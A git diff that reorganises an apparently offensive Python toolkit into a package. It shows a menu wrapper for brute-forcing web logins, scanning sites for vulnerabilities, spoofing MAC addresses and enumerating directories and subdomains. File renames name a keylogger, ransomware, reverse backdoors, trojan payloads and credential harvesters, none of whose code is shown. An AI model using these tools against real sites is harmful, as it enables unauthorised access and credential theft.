+import pyhtools.attackers.Network.nwscan as nwscan
+import pyhtools.attackers.Network.machngr as machngr
+import pyhtools.attackers.Websites.login_guesser as web_login
+import pyhtools.attackers.Websites.spider as spider
+import pyhtools.attackers.Websites.crawler as crawler
+
+from pyhtools.UI.colors import *
+from pyhtools.attackers.Websites.vuln_scanner.scanner import Scanner
# NETWORK ATTACKS
@@ -45,12 +45,13 @@ def mac_changer():
returns: None
'''
interface = input('[+] Interface : ')
- print(BRIGHT_YELLOW + '[!] To generate random mac enter "random" (without quotes)')
+ print(BRIGHT_YELLOW +
+ '[!] To generate random mac enter "random" (without quotes)')
new_mac = input('[+] New Mac : ')
if new_mac == 'random':
print(BRIGHT_WHITE + '[*] Generating Random Mac')
new_mac = machngr.generate_random_mac()
-
+
machngr.run_macchanger(interface, new_mac)
@@ -64,7 +65,8 @@ def brute_login():
'''
target_url = input('[+] TARGET URL : ')
wordlist_file = input('[+] WORDLIST PATH : ')
- print(BRIGHT_YELLOW + '[!] Enter string in post values, eg. {"username":"admin", "password":"", "Login":"submit"} (inspect element in your webbrowser)')
+ print(BRIGHT_YELLOW +
+ '[!] Enter string in post values, eg. {"username":"admin", "password":"", "Login":"submit"} (inspect element in your webbrowser)')
post_data = input('[+] POST VALUES : ') .strip()
post_values = json.loads(post_data)
@@ -79,24 +81,27 @@ def webvulnscan():
'''
target_url = input('[+] TARGET URL : ')
-
- print(BRIGHT_YELLOW + '[!] Enter links to be ignored separated by commas(,)')
+ print(BRIGHT_YELLOW +
+ '[!] Enter links to be ignored separated by commas(,)')
ignore_links = input('[+] IGNORE LINKS : ')
ignore_links = [link.strip() for link in ignore_links.split(',')]
vuln_scanner = Scanner(target_url, ignore_links)
- auth_required = input('[+] AUTH REQUIRED? (y/n) (default=n): ').lower().strip()
+ auth_required = input(
+ '[+] AUTH REQUIRED? (y/n) (default=n): ').lower().strip()
login_link = ''
- login_post_values =''
+ login_post_values = ''
if auth_required == 'y':
- login_link = input('[+] LOGIN LINK : ')
- print(BRIGHT_YELLOW + "[!] Enter login post values, eg: {'username':'yourusername', 'password':'yourpassword', 'login':'submit'}")
- print(BRIGHT_WHITE + '[!] Inspect element in webbrowser to extract values, they might vary for every website.')
+ login_link = input('[+] LOGIN LINK : ')
+ print(BRIGHT_YELLOW +
+ "[!] Enter login post values, eg: {'username':'yourusername', 'password':'yourpassword', 'login':'submit'}")
+ print(BRIGHT_WHITE +
+ '[!] Inspect element in webbrowser to extract values, they might vary for every website.')
login_post_values = input('[+] LOGIN POST VALUES : ')
login_post_values = json.loads(login_post_values)
-
+
vuln_scanner.session.post(login_link, data=login_post_values)
vuln_scanner.run()
@@ -120,7 +125,8 @@ def webcrawldirs():
'''
target_url = input('[+] TARGET URL : ')
wordlist_path = input('[+] WORDLIST PATH : ')
- crawler.perform_function(crawler.check_directories, wordlist_path, target_url)
+ crawler.perform_function(crawler.check_directories,
+ wordlist_path, target_url)
def webcrawlsubdom():
@@ -131,8 +137,9 @@ def webcrawlsubdom():
'''
target_url = input('[+] TARGET URL : ')
wordlist_path = input('[+] WORDLIST PATH : ')
- crawler.perform_function(crawler.check_subdomain, wordlist_path, target_url)
+ crawler.perform_function(crawler.check_subdomain,
+ wordlist_path, target_url)
if __name__ == "__main__":
- print('[*] Attackers module!. Exiting...')
\ No newline at end of file
+ print('[*] Attackers module!. Exiting...')
diff --git a/pyhtools/detectors/__init__.py b/pyhtools/detectors/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/detectors/arp_spoof_detector.py b/pyhtools/detectors/arp_spoof_detector.py
similarity index 100%
rename from detectors/arp_spoof_detector.py
rename to pyhtools/detectors/arp_spoof_detector.py
diff --git a/malwares/TelegramRemoteCodeExecutor/HowToUse.md b/pyhtools/malwares/TelegramRemoteCodeExecutor/HowToUse.md
similarity index 100%
rename from malwares/TelegramRemoteCodeExecutor/HowToUse.md
rename to pyhtools/malwares/TelegramRemoteCodeExecutor/HowToUse.md
diff --git a/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py b/pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py
similarity index 100%
rename from malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py
rename to pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py
diff --git a/malwares/Trojans/HowToCreateTrojanPackage.md b/pyhtools/malwares/Trojans/HowToCreateTrojanPackage.md
similarity index 100%
rename from malwares/Trojans/HowToCreateTrojanPackage.md
rename to pyhtools/malwares/Trojans/HowToCreateTrojanPackage.md
diff --git a/malwares/Trojans/icons/pdf_icon.ico b/pyhtools/malwares/Trojans/icons/pdf_icon.ico
similarity index 100%
rename from malwares/Trojans/icons/pdf_icon.ico
rename to pyhtools/malwares/Trojans/icons/pdf_icon.ico
diff --git a/malwares/Trojans/payloads/download_and_execute/download_and_execute.py b/pyhtools/malwares/Trojans/payloads/download_and_execute/download_and_execute.py
similarity index 100%
rename from malwares/Trojans/payloads/download_and_execute/download_and_execute.py
rename to pyhtools/malwares/Trojans/payloads/download_and_execute/download_and_execute.py
diff --git a/malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py b/pyhtools/malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py
similarity index 100%
rename from malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py
rename to pyhtools/malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py
diff --git a/pyhtools/malwares/__init__.py b/pyhtools/malwares/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/malwares/credential_harvester/credential_harvester.py b/pyhtools/malwares/credential_harvester/credential_harvester.py
similarity index 100%
rename from malwares/credential_harvester/credential_harvester.py
rename to pyhtools/malwares/credential_harvester/credential_harvester.py
diff --git a/malwares/downloader/downloader.py b/pyhtools/malwares/downloader/downloader.py
similarity index 100%
rename from malwares/downloader/downloader.py
rename to pyhtools/malwares/downloader/downloader.py
diff --git a/executables/generate.py b/pyhtools/malwares/executables/generate.py
similarity index 100%
rename from executables/generate.py
rename to pyhtools/malwares/executables/generate.py
diff --git a/malwares/keylogger/dlogs.py b/pyhtools/malwares/keylogger/dlogs.py
similarity index 100%
rename from malwares/keylogger/dlogs.py
rename to pyhtools/malwares/keylogger/dlogs.py
diff --git a/malwares/keylogger/keylogger.py b/pyhtools/malwares/keylogger/keylogger.py
similarity index 100%
rename from malwares/keylogger/keylogger.py
rename to pyhtools/malwares/keylogger/keylogger.py
diff --git a/malwares/reverse_backdoor/HTTP/HowToUse.md b/pyhtools/malwares/reverse_backdoor/HTTP/HowToUse.md
similarity index 100%
rename from malwares/reverse_backdoor/HTTP/HowToUse.md
rename to pyhtools/malwares/reverse_backdoor/HTTP/HowToUse.md
diff --git a/malwares/reverse_backdoor/HTTP/backdoor.py b/pyhtools/malwares/reverse_backdoor/HTTP/backdoor.py
similarity index 100%
rename from malwares/reverse_backdoor/HTTP/backdoor.py
rename to pyhtools/malwares/reverse_backdoor/HTTP/backdoor.py
diff --git a/malwares/reverse_backdoor/HTTP/listener.py b/pyhtools/malwares/reverse_backdoor/HTTP/listener.py
similarity index 100%
rename from malwares/reverse_backdoor/HTTP/listener.py
rename to pyhtools/malwares/reverse_backdoor/HTTP/listener.py
diff --git a/malwares/reverse_backdoor/TCP/HowToUse.md b/pyhtools/malwares/reverse_backdoor/TCP/HowToUse.md
similarity index 100%
rename from malwares/reverse_backdoor/TCP/HowToUse.md
rename to pyhtools/malwares/reverse_backdoor/TCP/HowToUse.md
diff --git a/malwares/reverse_backdoor/TCP/listener.py b/pyhtools/malwares/reverse_backdoor/TCP/listener.py
similarity index 100%
rename from malwares/reverse_backdoor/TCP/listener.py
rename to pyhtools/malwares/reverse_backdoor/TCP/listener.py
diff --git a/malwares/reverse_backdoor/TCP/reverse_backdoor.py b/pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py
similarity index 100%
rename from malwares/reverse_backdoor/TCP/reverse_backdoor.py
rename to pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py
diff --git a/malwares/send_mail/how to.txt b/pyhtools/malwares/send_mail/how to.txt
similarity index 100%
rename from malwares/send_mail/how to.txt
rename to pyhtools/malwares/send_mail/how to.txt
diff --git a/malwares/send_mail/send_mail.py b/pyhtools/malwares/send_mail/send_mail.py
similarity index 100%
rename from malwares/send_mail/send_mail.py
rename to pyhtools/malwares/send_mail/send_mail.py
diff --git a/malwares/telegram_data_harvester/HowToUse.md b/pyhtools/malwares/telegram_data_harvester/HowToUse.md
similarity index 100%
rename from malwares/telegram_data_harvester/HowToUse.md
rename to pyhtools/malwares/telegram_data_harvester/HowToUse.md
diff --git a/malwares/telegram_data_harvester/telegram_data_harvester.py b/pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py
similarity index 100%
rename from malwares/telegram_data_harvester/telegram_data_harvester.py
rename to pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py
diff --git a/malwares/wireless_password_harvester/HowToUse.txt b/pyhtools/malwares/wireless_password_harvester/HowToUse.txt
similarity index 100%
rename from malwares/wireless_password_harvester/HowToUse.txt
rename to pyhtools/malwares/wireless_password_harvester/HowToUse.txt
diff --git a/malwares/wireless_password_harvester/wireless_profile_harvester.py b/pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py
similarity index 100%
rename from malwares/wireless_password_harvester/wireless_profile_harvester.py
rename to pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py
diff --git a/pyhtools/ransomwares/__init__.py b/pyhtools/ransomwares/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/ransomwares/dmsec/HowToUse.md b/pyhtools/ransomwares/dmsec/HowToUse.md
similarity index 100%
rename from ransomwares/dmsec/HowToUse.md
rename to pyhtools/ransomwares/dmsec/HowToUse.md
diff --git a/ransomwares/dmsec/decrypter.py b/pyhtools/ransomwares/dmsec/decrypter.py
similarity index 100%
rename from ransomwares/dmsec/decrypter.py
rename to pyhtools/ransomwares/dmsec/decrypter.py
diff --git a/ransomwares/dmsec/dmsec_ransomeware.py b/pyhtools/ransomwares/dmsec/dmsec_ransomeware.py
similarity index 100%
rename from ransomwares/dmsec/dmsec_ransomeware.py
rename to pyhtools/ransomwares/dmsec/dmsec_ransomeware.py
diff --git a/pyhtools/worms/__init__.py b/pyhtools/worms/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/worms/dir_cloner.py b/pyhtools/worms/dir_cloner.py
similarity index 100%
rename from worms/dir_cloner.py
rename to pyhtools/worms/dir_cloner.py
diff --git a/requirements.txt b/requirements.txt
index 436810a..cb501f3 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,7 +1,7 @@
scapy>=2.4.5
requests>=2.25.1
argparse>=1.4.0
-#netfilterqueue : sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue
+#netfilterqueue (for linux devices only): sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue
pynput>=1.7.3
colorama>=0.4.4
beautifulsoup4>=4.9.3
@@ -10,3 +10,4 @@ prettytable>=2.1.0
kamene>=0.32
psutil>=5.8.0
pytelegrambotapi>=4.0.1
+pyfiglet
\ No newline at end of file
diff --git a/wordlists/README.md b/wordlists/README.md
new file mode 100644
index 0000000..0b4c6e9
--- /dev/null
+++ b/wordlists/README.md
@@ -0,0 +1,20 @@
+# Wordlists
+
+Below wordlists are for testing purpose:
+
+- files-and-dirs-wordlist.txt
+- subdomains-wordlist.txt
+- test-wordlist.txt
+
+## To Get/Generate Wordlists
+
+- Get Wordlists:
+ - [Seclists Repo](https://github.com/danielmiessler/SecLists)
+
+- Generate Wordlists
+ - [BEWGor](https://github.com/berzerk0/BEWGor)
+ - [Mentalist](https://github.com/sc0tfree/mentalist)
+
+## Tools for Analyzing Wordlists
+
+- [Pipal](https://github.com/digininja/pipal)
diff --git a/attackers/Websites/login_guesser/wordlist/common_pass.txt b/wordlists/common_pass.txt
similarity index 100%
rename from attackers/Websites/login_guesser/wordlist/common_pass.txt
rename to wordlists/common_pass.txt
diff --git a/attackers/Websites/website_crawler/wordlists/files-and-dirs-wordlist.txt b/wordlists/files-and-dirs-wordlist.txt
similarity index 100%
rename from attackers/Websites/website_crawler/wordlists/files-and-dirs-wordlist.txt
rename to wordlists/files-and-dirs-wordlist.txt
diff --git a/attackers/Websites/website_crawler/wordlists/subdomains-wordlist.txt b/wordlists/subdomains-wordlist.txt
similarity index 100%
rename from attackers/Websites/website_crawler/wordlists/subdomains-wordlist.txt
rename to wordlists/subdomains-wordlist.txt
diff --git a/attackers/Websites/website_crawler/wordlists/test-wordlist.txt b/wordlists/test-wordlist.txt
similarity index 100%
rename from attackers/Websites/website_crawler/wordlists/test-wordlist.txt
rename to wordlists/test-wordlist.txt